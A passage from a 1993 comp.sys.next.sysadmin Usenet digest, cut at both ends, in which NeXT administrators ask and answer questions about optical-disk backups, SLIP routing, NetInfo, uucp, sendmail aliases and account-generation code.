Then I perform a "cp -rp" on a series of subdirectories stored in a list.
OK. Now I want to automate the whole process and have it run in the
background. So I created a script to do just that. No sweat. But I want
that OD initialization step to be done in the background too.
PROBLEM: The apparently correct command to initialize an OD is:
disk -h myhost -l OpticalDisk -i /dev/rod0a
But this causes an error message something like: "can't initialize a
mounted disk". Well I can't say the disk man page didn't warn me:
"WARNING: Don't initialize a mounted device." Ok. Fine. So how AM I
supposed to do it?
BTW the way I got onto disk was because I use it to eject the OD:
umount /dev/od0a
disk -e /dev/rod0a
Right out of Next Answers '93 QA671. This DOES work.
-----------------------------------------------------------------
Greg Colello
Carnegie Institution, Department of Plant Biology
Stanford University
gcolello@biosphere.stanford.edu (NeXT mail OK)
From: maurices@spock.dis.cccd.edu (Maurice Shihadi)
Newsgroups: comp.sys.next.sysadmin
Subject: Rumer: NS 3.1 is weeks away from release? Is this true? Y N
Date: 28 Jan 1993 20:50:12 -0800
Organization: Coast Community College District, Costa Mesa, CA
Distribution: world
Message-ID: <1kad24INNde2@spock.dis.cccd.edu>
I'm anxiously awaiting so...................
maurices
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: How do I prevent cp from traversing links?
Message-ID: <C1LrtJ.FMy@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Jan29.031726.19345@leland.Stanford.EDU>
Date: Fri, 29 Jan 1993 06:39:04 GMT
gcolello@biosphere.Stanford.EDU (Greg Colello) writes:
>The title says it all. Is there any undocumented option or alternate
>version of cp that simply copies a link file "as is" instead of copying
>what it's linked to?
I'd recommend using gnutar instead of cp. It will preserve links.
You can also pipe its output to zcat (or gzip if you're adventurous
and up to date on the GNU utilities) so that your data is compressed
on the OD's.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: s5umcg@fnma.COM (Marty Gryski)
Subject: Formatting a Sun 669 MICROPOLIS
Message-ID: <1993Jan27.205646.25161@almserv.uucp>
Sender: usenet@almserv.uucp
Organization: Fannie Mae
Date: Wed, 27 Jan 1993 20:56:46 GMT
I have a Sun 669 micropolis drive. I am trying to connect it to my next with NextStep 3.0. The system recognizes the disk, but will not initialize it. I get a number of "sd1: Incomplete disk transfer:" errors. The same disk checks out fine on my sun. I even formatted the disk on the next with no problems, but I receive error messages when attempting to init the disk.
Can anyone suggest what I am doing wrong?????
---
Marty Gryski (202)752-3579
gryski@fnma.com
Newsgroups: comp.sys.next.sysadmin
From: beatty@sqhilton.pc.cs.cmu.edu (Derek Beatty)
Subject: Re: SLIP IS UP, BUT...
Message-ID: <C1LEq9.B0D.2@cs.cmu.edu>
Summary: arp -s host pub;rote add rem loc 0
Originator: beatty@sqhilton.pc.cs.cmu.edu
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
References: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu>
Date: Fri, 29 Jan 1993 01:56:32 GMT
In article <ANDERSON.93Jan28092525@sapir.cog.jhu.edu>
anderson@sapir.cog.jhu.edu (Stephen Anderson) writes:
> I don't know of a ready resource for
> what to do if you have to setup the server too.
RTFM? :-) man arp; man route; man ifconfig
That's fine if you know what you're looking for, but TFM can sometimes be
a bit obtuse.
Here's what I think you need to do. (I don't know beans about networking,
and I haven't done this, but, should my post contain an error, perhaps
some more knowledgable usenet reader might gently point it out.)
First, the office machine needs to tell the other machines on its ethernet
that packets of data destined for the home machine should be sent on the
ethernet to the office machine. Second, the office machine needs to know
that when it gets packets intended for the home machine, it should send
them to the home machine.
Let my:ether:net:ad:dr:ess denote the office machine's ethernet address.
ip.of.home.machine is the IP address of the home machine
and ip.of.office.machine is the IP address of the office machine (!)
If the office and home machines have been assigned IP addresses on the
same subnet (and I can't think of why they wouldn't have been so
assigned), you should be able to do this by adding a couple of lines to
/etc/rc.local on the office machine:
/usr/etc/arp -s ipaddr.of.home.machine my:ether:net:ad:dr:ess pub
/usr/etc/route add host ip.of.home.machine ipof.my.slip.interface 1
You might also need something like this first, to tell the office machine
that the slip interface is alive. (But I presume that if you can ping the
office machine from the home machine, you don't need this.)
/etc/ifconfig slip0 ipof.my.slip.interface ip.of.home.machine up
If this doesn't work, it might "attract sufficient attention that someone
will stop by to help you fix it :-)"
Also, if you can ping the office machine, you should be able to telnet to
it, log in as root, and try these commands "by hand" before putting them
in /etc/rc.local, to make sure that they're really what you need.
--
Derek_Beatty@cmu.edu ABD Comp Sci, CMU, 5000 Forbes, Pgh, PA 15213 USA
From: lan@next.ipt.rwth-aachen.de (Michael Lang)
Newsgroups: comp.sys.next.sysadmin
Subject: editing etc/disktab manually for mounting an optical disk
Date: 29 Jan 1993 09:27:07 GMT
Organization: Rechnerbetrieb Informatik - RWTH Aachen
Message-ID: <1kat9bINNhpv@urmel.informatik.rwth-aachen.de>
Keywords: optical disk
Dear comp.sys.next 'ers,
I ve a problem with my optical disk from Ricoh (ROD 5030E2). There exist
two kinds of disk-media for this drive. The difference between this to
medias is the size of the sectors (512bytes/sec 1024bytes/sec). If an
optical is inserted next recognizes and formats it but it reserves to less
inodes for it. When I change the /etc/disktab entry manually I can get
enough inodes for the 1024byte/sec media. I don t know how to change the
disktab entrys for the 512byte/sec media. Many items in the disktab are
powers of 1024 (default sector size). Do I have to multiply those items
whith 2?
Do anyone know what to do in such a case?
Thanks in advance.
lan@next.ipt.rwth-aachen.de
From: wainner@rest.tasc.com. (Scott Wainner)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: Sun NIS client won't resolve DNS from Netinfo
Date: 28 Jan 1993 22:27:23 GMT
Organization: TASC
Distribution: world
Message-ID: <1k9mkbINNd5m@sun.rest.tasc.com>
Keywords: Netinfo, NIS, YP, DNS
Netters,
I configured our NeXT Netinfo server to also serve NIS
clients on our network. I set up a Sun as an NIS client. The setup
was clean and logins, mounts, etc were successful. BUT, the Sun won't
resolve FQDNs now. I've got a resolv.conf in the Sun that refers to
the DNS server (a NeXT) which works correctly with 'nslookup'. I know
that Sun's are shipped with the "broken" libraries but the documentation
indicates that Sun's running NIS will use FQDN's if the Makefile is
setup to use the B=-b option. Looking at the Makefile on the NeXT, there
is no B option. So I added B=-b. Nope - that's not it! So I added a
+ at the end of the /etc/hosts file that the yp/Makefile uses. Bzzzt -
wrong, try again! Now what. I really don't want to "fix" the Sun's
with the custom shared libraries that use DNS without NIS. Any ideas
any body?
--
Scott Wainner Internet: swainner@tasc.com
The Analytic Sciences Corp wainner@hq.af.mil
12100 Sunset Hills Road
Reston, Virginia 22091 Phone: (703) 834-5000
Newsgroups: comp.sys.next.sysadmin
From: zettler@opal.risc.uni-linz.ac.at (Peter Zettler)
Subject: several subdomains
Message-ID: <1993Jan29.095112.18458@alijku05.edvz.uni-linz.ac.at>
Keywords: Netinfo Management
Sender: news@alijku05.edvz.uni-linz.ac.at
Organization: UNI-LINZ
Date: Fri, 29 Jan 1993 09:51:12 GMT
Hi Next gurus,
We want to use a NeXT station in another subnet.
Does anyone know:
(i) Is it necessary to set up a three level netinfo domain
for doing this.
(ii) If no, how do we have to set up the NeXT working together with
the Netinfo server in a different subnet?
(iii) If yes, is there any other description of making a three-level
domain out of a two-level domain than the one of NeXT Inc.?
We already did but we failed due to a loop inside the database.
Thanks in advance.
PZ
From: pat%expovision@cam.org (Patrique Lalonde)
Newsgroups: comp.sys.next.sysadmin
Subject: ownership group and permissions on ext HD
Message-ID: <1993Jan28.182032.1175@cesar.uucp>
Date: 28 Jan 93 18:20:32 GMT
Sender: pat@cesar.uucp
Hello,
I read a while back that there was a way to keep ownership, group and
permissions of files and folders on external Hard Disks.
Could some kind soul tell me how?
Just in case, I have a Quantum 105mb.
Thanks in advance.
Pat
=====NeXT Mail
pat%cesar@cam.org
Newsgroups: comp.sys.next.sysadmin
From: jay@panasonicfa.com (Jay Peng)
Subject: Help on WindowServer
Message-ID: <1993Jan29.000658.6271@panasonicfa.com>
Keywords: WindowServer
Organization: Panasonic
Date: Fri, 29 Jan 1993 00:06:58 GMT
Hi NeXT gurus,
we inherited a NeXT color station, which run version 2.1 and NetInfo.
The problem is when it reboot, it always come out error message like following:
Next WindowServer: Problem starting the NeXT dimension.psdrvr driver. Continuing.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
and subsequently, there is no login window. Instead it directly login as a user (the user
name is "me") and open windows as that user's.
In the /etc/ttys file the line relates the console is as follows:
Console /usr/lib/NextStep//loginwindow NeXT on secure window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
Nothing wrong in above. I got the login window just before I changed some permission of
directories. But I can't remember what I did as I was interrupted to do something else.
As this is inherited, there is no manual, no documents. The worse is that this is my first
time touch NeXT station. So any hint is welcome!
Please email me!
--
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* Jay Peng * *
* System & Network Staff * Email : jay@panasonicfa.com *
* Panasonic Factory Automation * UUCP : ...!psinntp!panasonicfa.com!jay *
* Franklin Park, IL 60131 * Tel : (708)288-4549 *
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From: woo@ornl.gov (John W. Wooten)
Subject: getting a "new" userid #
Message-ID: <1993Jan29.145206.25152@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Fri, 29 Jan 1993 14:52:06 GMT
I am developing a Registration application for a classroom with 12 NeXT
Stations. One of them is the NetInfo Server the other 11 are clients.
The attendees see the Registration screen when they first sit down.
After filling it out, an account is generated (hopefully a network
account) and then they have to log into their new account.
1) How do I get the next free userid number for a network user
account?
2) How do I make sure I don't get duplicates?
- - - - - - - - -
J. W. Wooten
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do I prevent cp from traversing links?
Date: 29 Jan 1993 15:17:07 GMT
Organization: The University of Maryland, College Park
Message-ID: <1kbhpjINN8mf@ni.umd.edu>
References: <1993Jan29.031726.19345@leland.Stanford.EDU>
In article <1993Jan29.031726.19345@leland.Stanford.EDU> gcolello@biosphere.Stanford.EDU (Greg Colello) writes:
>The title says it all. Is there any undocumented option or alternate
>version of cp that simply copies a link file "as is" instead of copying
>what it's linked to?
Do you mean a symbolic link or a hard link? In the case of a hard link,
its just another name for the same file.
>I like to use "cp -rp" to backup our file system onto optical disks. It's
>convenient for easy restores of small numbers of files. Obviously I don't
>end up with an exact image due to the "copy through link" functionality.
You could use a pipeline of tar into tar; tar keeps track of files
where the link count is greater than one and detects subsequent names
for the same file. You could try something like:
cd /; tar cf - | (cd /ODfs; tar xf -)
You could also do much the same thing with dump and restore.
You might also look for a new backup product, SafetyNet, that can do
"online" backups into a directory on the OD, as well as maintain a
database of what files are backed up where. That way, as files
change, you don't need to copy all the unchanged files each time.
Disks are supposed to start shipping today, and I believe there will
be a demo on the archives soon.
Disclaimer: I know the author of SafetyNet, and have been testing it
and using it for some time now. I have no financial interest in the
product, other than when Brian buys the beer when we go out drinking,
err.., I mean, have the meeting of the Laurel/Columbia MD NeXT
developer's gang.
louie
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Next NFS server upgrade
Message-ID: <MAX.93Jan29091308@Kolmogorov.gac.edu>
From: max@Kolmogorov.gac.edu (Max Hailperin)
Date: 29 Jan 93 09:13:08
References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> <C1K083.Mtr@ux1.cso.uiuc.edu>
Organization: Gustavus Adolphus College, St. Peter, MN
In-reply-to: lemson@ux1.cso.uiuc.edu's message of Thu, 28 Jan 1993 07:45:25 GMT
In article <C1K083.Mtr@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu
(David Lemson) writes:
Tod McQuillin <tm8t+@andrew.cmu.edu> writes:
[how to know whether upgrading a server will help?]
... ps auxw ... uptime ... netstat ...
You are missing one of the most important tools for making a decision
like this, iostat. See the man page. It is great for figuring out
how cpu and/or disk bound you are, and even which of your disks are
getting heavy traffic and which light and which are slow and which
fast. Try it.
Other things to keep in mind:
1) The turbo boards have improved DMA channel stuff, so the I/O
performance may be improved a bit as well as the processing
performance.
2) You may be able to improve the performance of the server somewhat
by careful choice of how many drives of what kind to attach to it,
how they should be partitioned, and what to put in each file
system partition.
3) Of course, as you know, there is a limit to what you can do with a
single NeXT server; you may be able to do more than what any
upgrade to the server would by adding a second server, moving to a
non-NeXT server, or putting heavily used stuff on local disks on
the individual clients.
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How do I initialize an OD mounted with "mount"?
Date: 29 Jan 1993 16:41:02 GMT
Organization: University of Houston
Message-ID: <1kbmmuINN8fr@menudo.uh.edu>
References: <1993Jan29.034304.20044@leland.Stanford.EDU>
In article <1993Jan29.034304.20044@leland.Stanford.EDU>
gcolello@biosphere.Stanford.EDU (Greg Colello) writes:
#The title says it all. Almost.
#
#I like to backup my file system in sections onto a dedicated set of
#opticals disks (OD). Before copying a section of the file system I simply
#initialize the optical using the Workspace/Disk/Initialize option. Then
#eject the OD. Then I mount the OD in such a way that I can log off and it
#stays mounted (as well as preserving the owner field):
#
#mount /dev/od0a /OpticalDisk
#
#Then I perform a "cp -rp" on a series of subdirectories stored in a list.
#OK. Now I want to automate the whole process and have it run in the
#background. So I created a script to do just that. No sweat. But I want
#that OD initialization step to be done in the background too.
#
#PROBLEM: The apparently correct command to initialize an OD is:
#
#disk -h myhost -l OpticalDisk -i /dev/rod0a
#
#But this causes an error message something like: "can't initialize a
#mounted disk". Well I can't say the disk man page didn't warn me:
#"WARNING: Don't initialize a mounted device." Ok. Fine. So how AM I
#supposed to do it?
#
#BTW the way I got onto disk was because I use it to eject the OD:
#
#umount /dev/od0a
#disk -e /dev/rod0a
#
#Right out of Next Answers '93 QA671. This DOES work.
#
#-----------------------------------------------------------------
#Greg Colello
#Carnegie Institution, Department of Plant Biology
#Stanford University
#gcolello@biosphere.stanford.edu (NeXT mail OK)
Have your script do something like this and run it as root (of course, it
assumes that the disk has already been inserted. If not, workspace will
ask you to insert the disk):
#!/bin/sh
disk -h myhost -l OpticalDisk -i /dev/rod0a #initialize the disk
mount /dev/od0a /OpticalDisk #mount the disk
cp -rp /your/various/directories/go/here #copy files/directories
cp -rp ...
..
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: getting a "new" userid #
Date: 29 Jan 1993 16:50:53 GMT
Organization: University of Houston
Message-ID: <1kbn9dINN9jb@menudo.uh.edu>
References: <1993Jan29.145206.25152@ornl.gov>
In article <1993Jan29.145206.25152@ornl.gov> woo@ornl.gov (John W. Wooten)
writes:
#I am developing a Registration application for a classroom with 12 NeXT
#Stations. One of them is the NetInfo Server the other 11 are clients.
#The attendees see the Registration screen when they first sit down.
#After filling it out, an account is generated (hopefully a network
#account) and then they have to log into their new account.
#
#1) How do I get the next free userid number for a network user
#account?
#
#2) How do I make sure I don't get duplicates?
#
#
#
#- - - - - - - - -
#J. W. Wooten
We use code, similiar to the following to automatically generate accounts.
There are a few sections you should be concerned with: the section that
generates a unique username (we base it on last name) and the part that
checks to see if the uid is already used. When we run the program, we
give it a starting uid, starting gid, and a list of names to add accounts.
This code is not pretty and I am not even sure if this version works. It
is just an easy way to generate large numbers of accounts, and it servers
as an example of creating unique usernames and uids. There is probably a
better way and your milage may very...:
#include <string.h>
#include <ctype.h>
#include <fcntl.h>
#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>
main(int argc, char *argv[])
{
extern int optind;
extern char *optarg;
char name[80],last[80],first[80],other[80],user[80];
FILE *infile;
int uid,gid;
int namel,namec,namei,namemax;
int i,j;
char c;
namemax = 7;
infile = stdin;
uid = -1;
gid = -1;
while ((c = getopt(argc, argv, "u:g:f:")) != EOF) {
switch (c) {
case 'u':
uid = atoi(optarg);
break;
case 'g':
gid = atoi(optarg);
break;
case 'f':
if ( (infile=fopen(optarg, "r")) == NULL) {
fprintf(stdout,"Error opening input file");
exit(0);
}
}
}
if (uid == -1 | gid == -1) {
fprintf(stderr,
"usage: %s -u<start-uid> -g<gid> [-f inputfile]\n",
argv[0]);
exit(1);
}
fgets(name,sizeof(name),infile);
while (! feof(infile)) {
namel = strlen(name);
namec = 0;
namei = 0;
last[0]=0;first[0]=0;other[0]=0;
for (i = 0 ; i <= namel ; i++) {
switch (namec) {
case 0:
if ( name[i] == ',' || name[i] == '\n') {
namec++;
namei = 0;
if (name[i+1] == ' ')
i++;
} else {
last[namei++] = name[i];
last[namei]=0;
}
break;
case 1:
if ( name[i] == ' ' || name[i] == '\n') {
namec++;
namei = 0;
} else {
first[namei++] = name[i];
first[namei]=0;
}
break;
case 2:
if ( name[i] == '\n') {
other[namei] = 0;
namec++;
} else {
other[namei++] = name[i];
other[namei] = 0;
}
break;
}
}
namel = strlen(last);
if (namel > namemax)
namel = namemax;
for (i = 0; i <= namel; i++)
user[i] = tolower(last[i]);
namei = namel;
i = 0;
/* Here is where we check to see if the username already exists */
while (i <= strlen(first)) {
j = getpwnam(user);
if (j != 0) {
if (namel >= namemax) {
for (j=0; j<=i; j++)
user[namemax-i+j] = tolower(first[j]);
} else {
user[namei++] = tolower(first[i]);
user[namei] = 0;
}
i++;
} else
break;
}
/* Here is where we find the next unique uid */
while (getpwuid(uid) != 0)
uid++;
printf("nu -A %s \"%s %s %s\" %u %u /bin/csh next-%s
/Net/server/homes/%s reuse N /egr
\n",user,first,other,last,uid,gid,user,user);
printf("date > /tmp/toprint\n");
printf("echo USERNAME: %s >> /tmp/toprint\n",user);
printf("echo PASSWORD: next-%s >> /tmp/toprint\n",user);
printf("cat /me/acc/Account-new.txt >> /tmp/toprint\n");
printf("lpr -PW129_D3_LW /tmp/toprint\n");
printf("rm /tmp/toprint\n");
uid++;
fgets(name,sizeof(name),infile);
}
}
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: marcos@kaleida.com (Paul Marcos)
Newsgroups: comp.sys.next.sysadmin
Subject: How to create Recycler on NFS disk?
Message-ID: <77861@apple.apple.COM>
Date: 29 Jan 93 17:25:44 GMT
Sender: daemon@Apple.COM
I recently hooked my NeXT up to our network. I'm using NFS to mount a Sun
server's directory. Whenever I throw away something from the Sun's
directory, the Workspace tells me that there's no Recycler on the disk and
I'll be destroying the files. Is it possible to create a recycler on the
disk?
Thanks for the help.
Paul
....................................................................
Paul Marcos NeXTMail marcos@kaleida.com
Kaleida Labs, Inc. welcome! (415) 966-0873
....................................................................
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin
Subject: talk & utmp problem
Date: 29 Jan 1993 18:20:41 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <1kbshqINNonf@news.cs.tu-berlin.de>
Keywords: nis talk who
hello
since I installed 3.0 talk doesnt work any more
says 'cannot figure out host address' or something
who -u says 'cant read utmp'
I had this talk problem two years ago on my first NeXT.
And I cannot remember the solution.
please tell me
later
SfR
--
Stephan Fruhauf gonzo@opal.cs.tu-berlin.de
what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: majka@grep.next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to change language (loginwindow)
Message-ID: <6673@rosie.NeXT.COM>
Date: 29 Jan 93 17:45:46 GMT
References: <1993Jan18.124719.11072@cubx.fdn.org>
Sender: news@NeXT.COM
The default language setting for a machine is stored in NetInfo. You'll
find it in your local domain, in the directory /localconfig/language. To
change it to English from a shell, use:
niutil -createprop . /localconfig/language language English
then reboot.
You may also change the setting using NetInfoManager.
--
Marc Majka
NeXT Computer Inc.
From: gobbi@gdss.commerce.ubc.ca (Michael Gobbi)
Newsgroups: comp.sys.next.sysadmin
Subject: powerdown/reset hook
Date: 29 Jan 1993 19:31:55 GMT
Organization: The University of British Columbia
Message-ID: <1kc0nbINNbr7@iskut.ucs.ubc.ca>
Is there a script anywhere that gets executed automatically just before
the NeXT is powered down or rebooted? (something along the lines of the
rc startup scripts).
I can set up Oracle to autostart in the rc script, but would dearly love
to make it autostop as well before the system falls out from under it when
I power off.
--
__ In quest of knowledge...
/..\ <gobbi@gdss.commerce.ubc.ca>
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From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid)
Subject: need help for NeXT-SCO uucp
Message-ID: <1993Jan29.191350.13910@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Distribution: na
Date: Fri, 29 Jan 1993 19:13:50 GMT
Hi,
A client has a PC running SCO Unix, and needs to transfer files to
a NeXT. They have a 5 1/5 inch diskette drive on it, and all other machines
they have use 3 1/2 inch diskettes. They do now want to spend the money to
get a network connection. I have then tried to set up uucp between the two
systems, but have not been able to make it work.
Since the machines are remote from my location, I have tried to first set up
uucp between two NeXT's, to transfer files from <peach> to <kiwi>.
When trying to use uucico in debug mode, I get this:
> peach> /usr/lib/uucp/uucico -r1 -x6 -skiwi
> steen kiwi (1/15-14:32-2960) DEBUG (Local Enabled)
> steen kiwi (1/15-14:32-2960) NO CALL (RETRY TIME NOT REACHED)
> RETRY TIME (600) NOT REACHED
> steen kiwi (1/15-14:32-2960) continuing anyway (debugging)
> finds (kiwi) called
> getto: call no. cua for sys kiwi
> Using DIR to call
> Opening /dev/cua
> login called
> wanted """"
> got: that
> send """"
> wanted "ogin:"
>
> kiwi> got: ?
> send ""
> wanted "ogin:"
>
> kiwi> got: ?
> send ""
> wanted "ogin:"
>
> kiwi> got: ?
> steen kiwi (1/15-14:35-2960) FAILED (LOGIN)
> steen kiwi (1/15-14:35-2960) FAILED (call to kiwi )
however, if I recently have run 'tip' there apparently still is a process
answering the port, so we get:
> peach> /usr/lib/uucp/uucico -r1 -x6 -skiwi
> steen kiwi (1/15-14:05-2928) DEBUG (Local Enabled)
> steen kiwi (1/15-14:05-2928) NO CALL (RETRY TIME NOT REACHED)
> RETRY TIME (600) NOT REACHED
> steen kiwi (1/15-14:05-2928) continuing anyway (debugging)
> finds (kiwi) called
> getto: call no. cua for sys kiwi
> Using DIR to call
> Opening /dev/cua
> login called
> wanted """"
> got: that
> send """"
> wanted "ogin:"
>
>
> NeXT Mach (kiwi) (ttya)
>
> kiwi login:got: that
> send "steen"
> wanted "ssword:"
> steen
> Password:got: that
> send "<password_deleted>"
> steen kiwi (1/15-14:05-2928) SUCCEEDED (call to kiwi )
> imsg looking for SYNC<
> Last login: Thu Jan 14 16:56:58 on ttya
> kiwi> Warning: incomplete termcap entry. Editing disabled.
> steen kiwi (1/15-14:07-2928) TIMEOUT (kiwi)
By the way, 'tip' automatically logs in on the 'kiwi' system, apparently
using the information in the L.sys file, which i find a bit strange.
This is kiwi's L.sys (host)
> # L-sys: Please read UUAIDS/L-sys.samples for some discussions on how to
> # use this file as well as the documentation that can be found in the
> # Digital Librarian on uucp.
> #
> #banana Any TCP telnet ns2400.acs.ohio-state.edu
> banana Never none none none
> #peach Any DIR 9600 ttya
> remote ANY DIR 9600 cua
This is peach's L.sys:
> # L-sys: Please read UUAIDS/L-sys.samples for some discussions on how to
> # use this file as well as the documentation that can be found in the
> # Digital Librarian on uucp.
> #
> kiwi Any DIR 9600 cua "" "" ogin:--ogin:--ogin: steen ssword: <pw_del>
Any suggestions? Anyone tried doing this with a SCOP Unix box?
Thanks
---
Steen Hansen e-mail: hansen+@osu.edu
Computer Specialist (614) 292-7211 (Stores/Food: tue/thu/fri)
Ohio State University (614) 292-5174 (Dentistry: mon/wed)
Newsgroups: comp.sys.next.sysadmin
From: charles@oneworld.wa.com
Subject: Re: Big Mailing lists
Message-ID: <1993Jan29.133411.19582@oneworld.wa.com>
Organization: /etc/organization
References: <1993Jan11.190140.14889@cubetech.com> <1993Jan12.130721.6930@urz.unibas.ch>
Date: Fri, 29 Jan 1993 13:34:11 GMT
In article <1993Jan12.130721.6930@urz.unibas.ch> frank@ifi.unibas.ch writes:
>In article <1993Jan11.190140.14889@cubetech.com> writes:
>>
>> I have a big problem... the IXKit mailing list I maintain has gotten
>> too large for sendmail to handle. I have tried "daisy-chaining"
>> aliases using both NetInfo aliases and sendmail aliases, and both
>> produce the same results.
>>
>> Please post or send me info on how to create large aliases...
>>
>>
>> thanks in advance,
>> andrew
>> --
>> andrew@cubetech.com | "We cannot dwell in the time that is to come,
>> Andrew Loewenstern | lest we lose our now for a phantom of our
>> Cube Technologies, Inc. | own design." - Erendis
>> 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
>
>Try the undocumented include feature: (documented on suns ...)
>(It works for Ultrix too, I'm just [right today] testing it on the NeXT)
>
>The syntax for the aliases file:
>
> <alias-name>: :include:<path and file name>
>
>In NetInfo add a new value with the syntax:
>
> :include:<path and file name>
>
>where the values in <> are to be set appropriately. Then enter all the
>names/addresses, one per line, into the file specified by <path and file name>.
>
>Sendmail will then parse the file - so you don't even need to rebuild the
>aliases when you make changes!
>
>--
I find it also makes a difference what version of sendmail you are using. I
have switched to Sendmail 5.65 with IDA. That seemed to solve some core
dump problems when encountering large mailing lists (i.e. over 12k in length)
Charles Cooper
charles@oneworld.wa.com
Newsgroups: comp.sys.next.sysadmin
From: mehta-anand@yale.edu (Anand R. Mehta)
Subject: Netinfo error on Standalone machine
Message-ID: <mehta-anand-290193150903@conn-hall-kstar-node.net.yale.edu>
Followup-To: comp.sys.next.sysadmin
Sender: news@news.yale.edu (USENET News System)
Organization: Academic Computing Services
Date: Fri, 29 Jan 1993 20:16:12 GMT
I have a standalone NeXT machine that I am currently testing a PPP link
with. On two occasions I have had my machine refuse to boot because of a
netinfo error. The message was preceded by another one saying that
broadcast to 255.255.255.255 failed, that the netinfo server could not be
found, and that there were no working netinfo databases. As a result, the
windowserver refuses to come up.
I have copied local.nidb and hostconfig and hosts from the template
directories, but the same errors continue. The only previous changes that
I had made were to the hostname in HostManager.app and in niloading some
new hosts using
niload hosts . < hostfile
This is the second time the machine has crashed, and I'm not sure exactly
what is going on. I had assumed that the ether interface would be turned
off and theat the machine would cease to look for a netinfo server.
Apparently this is not the case.
How can I undo what I have done (I can't even access local netinfo to see
if I may have loaded some incorrect host info) so that this machine will
boot correctly. Thank you,
-Anand
Academic Computing Services
Yale University
mehta-anand@yale.edu
From: joe@mathcs.emory.edu (Joe Christy)
Newsgroups: comp.sys.next.sysadmin
Subject: dump.old in 3.0
Date: 29 Jan 1993 14:50:15 -0500
Organization: Mathematical Sciences Research Institute
Distribution: world
Message-ID: <1kc1pnINNg53@emory.mathcs.emory.edu>
Summary: where in dump.old in 3.0
Keywords: man dump where
The 3.0 man pages mention dump.old, but I can't seem to find it on disk.
Where is it? Is /usr/etc/dump in 3.0 really incompatible with, say SunOS4.1.3
/usr/etc/dump? Enquiring minds want to know.
From: kls30@cd.amdahl.com (Kent L. Shephard)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Formatting a Sun 669 MICROPOLIS
Message-ID: <31IY02SX34qr01@JUTS.ccc.amdahl.com>
Date: 29 Jan 93 19:38:18 GMT
References: <1993Jan27.205646.25161@almserv.uucp>
Sender: netnews@Frobozz.COM
Distribution: na
Organization: Amdahl Corporation, Sunnyvale CA
In article <1993Jan27.205646.25161@almserv.uucp>, s5umcg@fnma.COM (Marty
Gryski) writes:
>I have a Sun 669 micropolis drive. I am trying to connect it to my
>next with NextStep 3.0. The system recognizes the disk, but will not
>initialize it. I get a number of "sd1: Incomplete disk transfer:"
>errors. The same disk checks out fine on my sun. > I even formatted
>the disk on the next with no problems, but I receive error messages
>when attempting to init the disk.
Question.
Do you have another SCSI device connected to the NeXT with the Micropolis?
If so, you are in deep dodo.
I had a Micropolis 1588 (or something like that) that was from a Sun.
It worked great alone but would not work w/anything else on the bus.
I took the drive back. I think Micropolis has a ROM update but since the
drive is an OEM Sun drive they won't give you the new prom. At least they
wouldn't give it to me.
So the drive got returned and I got a Maxtor P0-12s and I'm a happy camper.
>
>Can anyone suggest what I am doing wrong?????
>
>---
>Marty Gryski (202)752-3579
>gryski@fnma.com
--
/* What me, speak for Amdahl? Get real. These opinions and statements */
/* belong to me and me only. If something I said offends you, it's */
/* either you got a thin skin or that I'm just offensive. Who cares. */
/* */
/* "I'm not going to sit at your table and watch you eat, with nothing */
/* on my plate, and call myself a diner. Sitting at the table doesn't */
/* make you a diner. Being here in America doesn't make you an */
/* American." */
/* --Malcolm X */
/* */
/* Work - kls30@cd.amdahl.com - Don't send NeXTmail!! */
/* Play - kent@infoserv.com - NeXTmail welcome */
Newsgroups: comp.sys.next.sysadmin
From: john@oceania.com (John Robison)
Subject: Re: Anyone ever seen such a thing???
Message-ID: <C1Mq4z.MJJ@oceania.com>
Sender: john@oceania.com (John Robison)
Organization: Oceania Health Care Systems
References: <1993Jan29.023718.16245@thunder.mcrcim.mcgill.edu>
Distribution: na
Date: Fri, 29 Jan 1993 19:00:40 GMT
Kharim Hogan writes
> Hi,
>
> Well I'm baffled and am wondering if anyone has ever had
> a similar experience to the one I am about to describe.
>
> Three weeks ago our server suddenly went down. It just
